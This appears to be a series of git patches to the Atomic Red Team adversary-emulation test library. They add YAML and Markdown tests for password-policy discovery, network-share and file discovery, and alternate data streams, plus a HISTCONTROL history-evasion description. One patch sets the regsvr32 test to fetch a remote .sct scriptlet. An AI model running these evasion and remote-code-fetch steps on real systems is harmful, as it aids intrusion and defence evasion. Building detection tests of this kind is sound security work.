    + +## Atomic Tests + +- [Atomic Test #1 - Examine password complexity policy - Ubuntu](#atomic-test-1---examine-password-complexity-policy---ubuntu) + +- [Atomic Test #2 - Examine password complexity policy - CentOS/RHEL 7.x](#atomic-test-2---examine-password-complexity-policy---centosrhel-7x) + +- [Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 6.x](#atomic-test-3---examine-password-complexity-policy---centosrhel-6x) + +- [Atomic Test #4 - Examine password expiration policy - All Linux](#atomic-test-4---examine-password-expiration-policy---all-linux) + + +
    + +## Atomic Test #1 - Examine password complexity policy - Ubuntu +Lists the password complexity policy to console on Ubuntu Linux. + +**Supported Platforms:** Ubuntu + + +#### Run it with `bash`! +``` +cat /etc/pam.d/common-password +``` +
    +
    + +## Atomic Test #2 - Examine password complexity policy - CentOS/RHEL 7.x +Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. + +**Supported Platforms:** CentOS + + +#### Run it with `bash`! +``` +cat /etc/security/pwquality.conf +``` +
    +
    + +## Atomic Test #3 - Examine password complexity policy - CentOS/RHEL 6.x +Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. + +**Supported Platforms:** CentOS + + +#### Run it with `bash`! +``` +cat /etc/pam.d/system-auth + +cat /etc/security/pwquality.conf +``` +
    +
    + +## Atomic Test #4 - Examine password expiration policy - All Linux +Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. + +**Supported Platforms:** Linux + + +#### Run it with `bash`! +``` +cat /etc/login.defs +``` +
    diff --git a/atomics/T1201/T1201.yaml b/atomics/T1201/T1201.yaml new file mode 100644 index 00000000..1327f528 --- /dev/null +++ b/atomics/T1201/T1201.yaml @@ -0,0 +1,54 @@ +--- +attack_technique: T1201 +display_name: Password Policy Discovery + +atomic_tests: +- name: Examine password complexity policy - Ubuntu + description: | + Lists the password complexity policy to console on Ubuntu Linux. + + supported_platforms: + - ubuntu + + executor: + name: bash + command: | + cat /etc/pam.d/common-password + +- name: Examine password complexity policy - CentOS/RHEL 7.x + description: | + Lists the password complexity policy to console on CentOS/RHEL 7.x Linux. + + supported_platforms: + - centos + + executor: + name: bash + command: | + cat /etc/security/pwquality.conf + +- name: Examine password complexity policy - CentOS/RHEL 6.x + description: | + Lists the password complexity policy to console on CentOS/RHEL 6.x Linux. + + supported_platforms: + - centos + + executor: + name: bash + command: | + cat /etc/pam.d/system-auth + + cat /etc/security/pwquality.conf + +- name: Examine password expiration policy - All Linux + description: | + Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. + + supported_platforms: + - linux + + executor: + name: bash + command: | + cat /etc/login.defs From ccc76f9d94aa79d250dffbe76b1493b185263a1b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rgen?= Date: Thu, 28 Jun 2018 15:37:40 +0200 Subject: [PATCH 52/91] T1117. Use a working example by default. (#278) --- atomics/T1117/T1117.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1117/T1117.yaml b/atomics/T1117/T1117.yaml index b801b26c..99ff938d 100644 --- a/atomics/T1117/T1117.yaml +++ b/atomics/T1117/T1117.yaml @@ -25,7 +25,7 @@ atomic_tests: url: description: URL to hosted sct file type: Url - default: http://www.example.com/file.sct + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct executor: name: command_prompt command: | From e46eddb82e135cee8e244c8a23dc85d32f6ea04d Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Thu, 28 Jun 2018 13:37:49 +0000 Subject: [PATCH 53/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1117/T1117.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1117/T1117.md b/atomics/T1117/T1117.md index 562a4455..3316c461 100644 --- a/atomics/T1117/T1117.md +++ b/atomics/T1117/T1117.md @@ -60,7 +60,7 @@ Regsvr32.exe is a command-line program used to register and unregister OLE contr #### Inputs | Name | Description | Type | Default Value | |------|-------------|------|---------------| -| url | URL to hosted sct file | Url | http://www.example.com/file.sct| +| url | URL to hosted sct file | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct| #### Run it with `command_prompt`! ``` From 28c72ce9f42ea60850e8414fc214a38098601228 Mon Sep 17 00:00:00 2001 From: Swelc Date: Thu, 28 Jun 2018 18:04:50 -0500 Subject: [PATCH 54/91] Added Windows share enumeration. --- atomics/T1135/T1135.yaml | 33 ++++++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) diff --git a/atomics/T1135/T1135.yaml b/atomics/T1135/T1135.yaml index 17ddbbb5..9d9f3f97 100644 --- a/atomics/T1135/T1135.yaml +++ b/atomics/T1135/T1135.yaml @@ -13,7 +13,7 @@ atomic_tests: input_arguments: computer_name: - description: computer name to find a mount on + description: Computer name to find a mount on. type: string default: computer1 @@ -23,3 +23,34 @@ atomic_tests: df -aH smbutil view -g //${computer_name} showmount ${computer_name} + +- name: Network Share Discovery command prompt + description: | + Network Share Discovery utilizing the command prompt + supported_platforms: + - windows + input_arguments: + computer_name: + description: Computer name to find a mount on. + type: string + default: computer1 + executor: + name: command_prompt + command: | + net view \\#{computer_name} + +- name: Network Share Discovery PowerShell + description: | + Network Share Discovery utilizing PowerShell + supported_platforms: + - windows + input_arguments: + computer_name: + description: Computer name to find a mount on. + type: string + default: computer1 + executor: + name: powershell + command: | + net view \\#{computer_name} + get-smbshare -Name #{computer_name} From 46ce8380a41d37381c929db85ea8b4e21f3794b8 Mon Sep 17 00:00:00 2001 From: Swelc Date: Thu, 28 Jun 2018 18:45:59 -0500 Subject: [PATCH 55/91] Added ADS create and enumeration --- atomics/T1158/T1158.yaml | 43 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/atomics/T1158/T1158.yaml b/atomics/T1158/T1158.yaml index 95fdc5b3..c205c9a5 100644 --- a/atomics/T1158/T1158.yaml +++ b/atomics/T1158/T1158.yaml @@ -116,3 +116,46 @@ atomic_tests: echo "this file is hidden" > .hidden-directory/.hidden-file ls -la ls -la .hidden-directory + +- name: Create ADS command prompt + description: | + Create an Alternate Data Stream with the command prompt. Write access is required. + supported_platforms: + - windows + input_arguments: + file_name: + description: File name of file to create ADS on. + type: string + default: test.txt + ads_filename: + description: Name of ADS file. + type: string + default: adstest.txt + executor: + name: command_prompt + command: | + echo "test" > #{file_name}:#{ads_filename} + echo "test" > :#{ads_filename} + dir /s /r | find ":$DATA" + +- name: Create ADS PowerShell + description: | + Create an Alternate Data Stream with PowerShell. Write access is required. + supported_platforms: + - windows + input_arguments: + file_name: + description: File name of file to create ADS on. + type: string + default: test.txt + ads_filename: + description: Name of ADS file. + type: string + default: adstest.txt + executor: + name: powershell + command: | + echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" + set-content -path #{file_name} -stream #{ads_filename} -value "test2" + set-content -path . -stream #{ads_filename} -value "test3" + ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname From 297ee3579c65dfcedbba7cf1e617cbc8a6b5aace Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rgen=20Maas?= Date: Fri, 29 Jun 2018 08:47:46 +0200 Subject: [PATCH 56/91] T1148. Use the correct technique number in the YAML spec. --- atomics/T1148/T1148.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1148/T1148.yaml b/atomics/T1148/T1148.yaml index d95d2623..7448202b 100644 --- a/atomics/T1148/T1148.yaml +++ b/atomics/T1148/T1148.yaml @@ -1,5 +1,5 @@ --- -attack_technique: T1146 +attack_technique: T1148 display_name: HISTCONTROL atomic_tests: From 92d705d7d92e541e8cf16cb27f1d01a7309e0339 Mon Sep 17 00:00:00 2001 From: Aleix Sala Bach Date: Fri, 29 Jun 2018 10:36:29 +0200 Subject: [PATCH 57/91] Update T1148.yaml attack_technique is wrong --- atomics/T1148/T1148.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1148/T1148.yaml b/atomics/T1148/T1148.yaml index d95d2623..7448202b 100644 --- a/atomics/T1148/T1148.yaml +++ b/atomics/T1148/T1148.yaml @@ -1,5 +1,5 @@ --- -attack_technique: T1146 +attack_technique: T1148 display_name: HISTCONTROL atomic_tests: From da6683161eb99d96175bd7752681550bec9c15cf Mon Sep 17 00:00:00 2001 From: Aleix Sala Bach Date: Fri, 29 Jun 2018 10:44:26 +0200 Subject: [PATCH 58/91] Update T1124.yaml Duplicated atomic_test key --- atomics/T1124/T1124.yaml | 1 - 1 file changed, 1 deletion(-) diff --git a/atomics/T1124/T1124.yaml b/atomics/T1124/T1124.yaml index 95c5e025..55eb9c86 100644 --- a/atomics/T1124/T1124.yaml +++ b/atomics/T1124/T1124.yaml @@ -22,7 +22,6 @@ atomic_tests: net time \\${computername} w32tm /tz -atomic_tests: - name: System Time Discovery - PowerShell description: | Identify the system time via PowerShell From 95a5bbc3360fd382f009c0477decb373c63a2c02 Mon Sep 17 00:00:00 2001 From: Swelc Date: Fri, 29 Jun 2018 06:54:04 -0500 Subject: [PATCH 59/91] T1083 added additional file system enumeration techniques --- atomics/T1083/T1083.yaml | 26 +++++++++++++++++++++----- 1 file changed, 21 insertions(+), 5 deletions(-) diff --git a/atomics/T1083/T1083.yaml b/atomics/T1083/T1083.yaml index aa3ff4ed..ed152e5f 100644 --- a/atomics/T1083/T1083.yaml +++ b/atomics/T1083/T1083.yaml @@ -5,7 +5,7 @@ display_name: File and Directory Discovery atomic_tests: - name: File and Directory Discovery description: | - Find or discovery files on the file system + Find or discover files on the file system supported_platforms: - windows @@ -22,9 +22,23 @@ atomic_tests: dir "%userprofile%\Desktop\*.*" >> %temp%\download tree /F >> %temp%\download -- name: nix file and diectory discovery +- name: File and Directory Discovery description: | - Find or discovery files on the file system + Find or discover files on the file system + + supported_platforms: + - windows + + executor: + name: powershell + command: | + ls -recurse + get-childitem -recurse + gci -recurse + +- name: Nix File and Diectory Discovery + description: | + Find or discover files on the file system References: @@ -44,11 +58,13 @@ atomic_tests: file */* *>> ../files.txt find . -type f ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' + locate * + which sh -- name: nix file and diectory discovery +- name: Nix File and Directory Discovery description: | - Find or discovery files on the file system + Find or discover files on the file system supported_platforms: - macos From a87dac89a1ed0214cf1a7b7496aab5ad4b7a730a Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 29 Jun 2018 17:30:33 +0000 Subject: [PATCH 60/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1083/T1083.md | 33 ++++++++++++++++++++++++++------- atomics/index.md | 5 +++-- atomics/linux-index.md | 4 ++-- atomics/macos-index.md | 4 ++-- atomics/windows-index.md | 1 + 5 files changed, 34 insertions(+), 13 deletions(-) diff --git a/atomics/T1083/T1083.md b/atomics/T1083/T1083.md index d14bc0a4..8f24c791 100644 --- a/atomics/T1083/T1083.md +++ b/atomics/T1083/T1083.md @@ -26,15 +26,17 @@ System Requirements: Some folders may require Administrator, SYSTEM or specific - [Atomic Test #1 - File and Directory Discovery](#atomic-test-1---file-and-directory-discovery) -- [Atomic Test #2 - nix file and diectory discovery](#atomic-test-2---nix-file-and-diectory-discovery) +- [Atomic Test #2 - File and Directory Discovery](#atomic-test-2---file-and-directory-discovery) -- [Atomic Test #3 - nix file and diectory discovery](#atomic-test-3---nix-file-and-diectory-discovery) +- [Atomic Test #3 - Nix File and Diectory Discovery](#atomic-test-3---nix-file-and-diectory-discovery) + +- [Atomic Test #4 - Nix File and Directory Discovery](#atomic-test-4---nix-file-and-directory-discovery)
    ## Atomic Test #1 - File and Directory Discovery -Find or discovery files on the file system +Find or discover files on the file system **Supported Platforms:** Windows @@ -53,8 +55,23 @@ tree /F >> %temp%\download

    -## Atomic Test #2 - nix file and diectory discovery -Find or discovery files on the file system +## Atomic Test #2 - File and Directory Discovery +Find or discover files on the file system + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +ls -recurse +get-childitem -recurse +gci -recurse +``` +
    +
    + +## Atomic Test #3 - Nix File and Diectory Discovery +Find or discover files on the file system References: @@ -72,12 +89,14 @@ ls -la /Library/Preferences/ > detailedprefsinfo.txt file */* *>> ../files.txt find . -type f ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/' +locate * +which sh ```

    -## Atomic Test #3 - nix file and diectory discovery -Find or discovery files on the file system +## Atomic Test #4 - Nix File and Directory Discovery +Find or discover files on the file system **Supported Platforms:** macOS, Linux diff --git a/atomics/index.md b/atomics/index.md index 01d3d534..9688b10b 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -318,8 +318,9 @@ - T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #1: File and Directory Discovery [windows] - - Atomic Test #2: nix file and diectory discovery [macos, linux] - - Atomic Test #3: nix file and diectory discovery [macos, linux] + - Atomic Test #2: File and Directory Discovery [windows] + - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] + - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index d6776988..5abdaaa8 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -35,8 +35,8 @@ - Atomic Test #6: Enumerate Groups and users [linux, macos] - T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - - Atomic Test #2: nix file and diectory discovery [macos, linux] - - Atomic Test #3: nix file and diectory discovery [macos, linux] + - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] + - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 0bcd7644..eaf6d057 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -59,8 +59,8 @@ - T1010 Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - - Atomic Test #2: nix file and diectory discovery [macos, linux] - - Atomic Test #3: nix file and diectory discovery [macos, linux] + - Atomic Test #3: Nix File and Diectory Discovery [macos, linux] + - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 84ff6e8e..4d9c353c 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -215,6 +215,7 @@ - T1217 Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1083 File and Directory Discovery](./T1083/T1083.md) - Atomic Test #1: File and Directory Discovery [windows] + - Atomic Test #2: File and Directory Discovery [windows] - [T1046 Network Service Scanning](./T1046/T1046.md) - [T1135 Network Share Discovery](./T1135/T1135.md) - T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) From b26a0af181355af64243185718ab897bdd7455da Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 29 Jun 2018 17:31:14 +0000 Subject: [PATCH 61/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1148/T1148.md | 10 +++++----- atomics/index.md | 2 ++ atomics/linux-index.md | 2 ++ atomics/macos-index.md | 2 ++ 4 files changed, 11 insertions(+), 5 deletions(-) diff --git a/atomics/T1148/T1148.md b/atomics/T1148/T1148.md index 3fbbb601..be170f1b 100644 --- a/atomics/T1148/T1148.md +++ b/atomics/T1148/T1148.md @@ -1,12 +1,12 @@ -# T1146 - Clear Command History -## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1146) -
    macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history. +# T1148 - HISTCONTROL +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1148) +
    The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands. -Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity. +Detection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious. Platforms: Linux, macOS -Data Sources: Authentication logs, File monitoring +Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable Defense Bypassed: Log analysis, Host forensic analysis diff --git a/atomics/index.md b/atomics/index.md index 9688b10b..41e6d76b 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -171,6 +171,8 @@ - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] - [T1148 HISTCONTROL](./T1148/T1148.md) + - Atomic Test #1: Disable history collection [linux, macos] + - Atomic Test #2: Mac HISTCONTROL [macos, linux] - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 5abdaaa8..510a7b20 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -130,6 +130,8 @@ - Atomic Test #3: Delete an entire folder [linux] - Atomic Test #4: Overwrite and delete a file with shred [linux] - [T1148 HISTCONTROL](./T1148/T1148.md) + - Atomic Test #1: Disable history collection [linux, macos] + - Atomic Test #2: Mac HISTCONTROL [macos, linux] - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #3: Hidden file [macos, linux] diff --git a/atomics/macos-index.md b/atomics/macos-index.md index eaf6d057..656b2ba7 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -187,6 +187,8 @@ - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] - [T1148 HISTCONTROL](./T1148/T1148.md) + - Atomic Test #1: Disable history collection [linux, macos] + - Atomic Test #2: Mac HISTCONTROL [macos, linux] - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] From d50b00464d42955175247e87c41244a2a9d69054 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 29 Jun 2018 17:32:55 +0000 Subject: [PATCH 62/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1158/T1158.md | 47 ++++++++++++++++++++++++++++++++++++++++ atomics/index.md | 4 ++++ atomics/windows-index.md | 4 ++++ 3 files changed, 55 insertions(+) diff --git a/atomics/T1158/T1158.md b/atomics/T1158/T1158.md index 8e8314bd..034b3d8e 100644 --- a/atomics/T1158/T1158.md +++ b/atomics/T1158/T1158.md @@ -45,6 +45,10 @@ Permissions Required: User
    - [Atomic Test #8 - Create hidden directories and files](#atomic-test-8---create-hidden-directories-and-files) +- [Atomic Test #9 - Create ADS command prompt](#atomic-test-9---create-ads-command-prompt) + +- [Atomic Test #10 - Create ADS PowerShell](#atomic-test-10---create-ads-powershell) +
    @@ -163,3 +167,46 @@ ls -la ls -la .hidden-directory ```
    +
    + +## Atomic Test #9 - Create ADS command prompt +Create an Alternate Data Stream with the command prompt. Write access is required. + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| file_name | File name of file to create ADS on. | string | test.txt| +| ads_filename | Name of ADS file. | string | adstest.txt| + +#### Run it with `command_prompt`! +``` +echo "test" > #{file_name}:#{ads_filename} +echo "test" > :#{ads_filename} +dir /s /r | find ":$DATA" +``` +
    +
    + +## Atomic Test #10 - Create ADS PowerShell +Create an Alternate Data Stream with PowerShell. Write access is required. + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| file_name | File name of file to create ADS on. | string | test.txt| +| ads_filename | Name of ADS file. | string | adstest.txt| + +#### Run it with `powershell`! +``` +echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" +set-content -path #{file_name} -stream #{ads_filename} -value "test2" +set-content -path . -stream #{ads_filename} -value "test3" +ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 41e6d76b..ffa52a16 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -47,6 +47,8 @@ - Atomic Test #6: Show all hidden files [macos] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] + - Atomic Test #9: Create ADS command prompt [windows] + - Atomic Test #10: Create ADS PowerShell [windows] - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - T1062 Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -182,6 +184,8 @@ - Atomic Test #6: Show all hidden files [macos] - Atomic Test #7: Create visible Directories [macos, linux] - Atomic Test #8: Create hidden directories and files [macos, linux] + - Atomic Test #9: Create ADS command prompt [windows] + - Atomic Test #10: Create ADS PowerShell [windows] - [T1147 Hidden Users](./T1147/T1147.md) - Atomic Test #1: Hidden Users [macos] - T1143 Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 4d9c353c..a6c5c1f0 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -35,6 +35,8 @@ - Atomic Test #13: wbadmin [windows] - T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #9: Create ADS command prompt [windows] + - Atomic Test #10: Create ADS PowerShell [windows] - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] @@ -162,6 +164,8 @@ - T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #9: Create ADS command prompt [windows] + - Atomic Test #10: Create ADS PowerShell [windows] - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] - T1062 Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) From a17716d760fed203ee38a73cec5b809c7dd0846e Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 29 Jun 2018 17:33:31 +0000 Subject: [PATCH 63/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1135/T1135.md | 43 +++++++++++++++++++++++++++++++++++++++- atomics/index.md | 2 ++ atomics/windows-index.md | 2 ++ 3 files changed, 46 insertions(+), 1 deletion(-) diff --git a/atomics/T1135/T1135.md b/atomics/T1135/T1135.md index b318faf2..e22d4c48 100644 --- a/atomics/T1135/T1135.md +++ b/atomics/T1135/T1135.md @@ -28,6 +28,10 @@ Permissions Required: User
    - [Atomic Test #1 - Network Share Discovery](#atomic-test-1---network-share-discovery) +- [Atomic Test #2 - Network Share Discovery command prompt](#atomic-test-2---network-share-discovery-command-prompt) + +- [Atomic Test #3 - Network Share Discovery PowerShell](#atomic-test-3---network-share-discovery-powershell) +
    @@ -40,7 +44,7 @@ Network Share Discovery #### Inputs | Name | Description | Type | Default Value | |------|-------------|------|---------------| -| computer_name | computer name to find a mount on | string | computer1| +| computer_name | Computer name to find a mount on. | string | computer1| #### Run it with `sh`! ``` @@ -49,3 +53,40 @@ smbutil view -g //${computer_name} showmount ${computer_name} ```
    +
    + +## Atomic Test #2 - Network Share Discovery command prompt +Network Share Discovery utilizing the command prompt + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| computer_name | Computer name to find a mount on. | string | computer1| + +#### Run it with `command_prompt`! +``` +net view \\#{computer_name} +``` +
    +
    + +## Atomic Test #3 - Network Share Discovery PowerShell +Network Share Discovery utilizing PowerShell + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| computer_name | Computer name to find a mount on. | string | computer1| + +#### Run it with `powershell`! +``` +net view \\#{computer_name} +get-smbshare -Name #{computer_name} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index ffa52a16..f9f74461 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -331,6 +331,8 @@ - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] + - Atomic Test #2: Network Share Discovery command prompt [windows] + - Atomic Test #3: Network Share Discovery PowerShell [windows] - T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index a6c5c1f0..2a33b4b5 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -222,6 +222,8 @@ - Atomic Test #2: File and Directory Discovery [windows] - [T1046 Network Service Scanning](./T1046/T1046.md) - [T1135 Network Share Discovery](./T1135/T1135.md) + - Atomic Test #2: Network Share Discovery command prompt [windows] + - Atomic Test #3: Network Share Discovery PowerShell [windows] - T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) From b0170998dff3fa2d09807e13d0cf22e29b58cf2f Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 29 Jun 2018 17:33:59 +0000 Subject: [PATCH 64/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/index.md | 6 +++++- atomics/linux-index.md | 6 +++++- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 2 +- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- atomics/windows-index.md | 2 +- atomics/windows-matrix.md | 2 +- 8 files changed, 16 insertions(+), 8 deletions(-) diff --git a/atomics/index.md b/atomics/index.md index f9f74461..0aa562d9 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -333,7 +333,11 @@ - Atomic Test #1: Network Share Discovery [macos, linux] - Atomic Test #2: Network Share Discovery command prompt [windows] - Atomic Test #3: Network Share Discovery PowerShell [windows] -- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1201 Password Policy Discovery](./T1201/T1201.md) + - Atomic Test #1: Examine password complexity policy - Ubuntu [ubuntu] + - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [centos] + - Atomic Test #3: Examine password complexity policy - CentOS/RHEL 6.x [centos] + - Atomic Test #4: Examine password expiration policy - All Linux [linux] - T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 510a7b20..70b68d79 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -39,7 +39,11 @@ - Atomic Test #4: Nix File and Directory Discovery [macos, linux] - [T1046 Network Service Scanning](./T1046/T1046.md) - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] -- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1201 Password Policy Discovery](./T1201/T1201.md) + - Atomic Test #1: Examine password complexity policy - Ubuntu [ubuntu] + - Atomic Test #2: Examine password complexity policy - CentOS/RHEL 7.x [centos] + - Atomic Test #3: Examine password 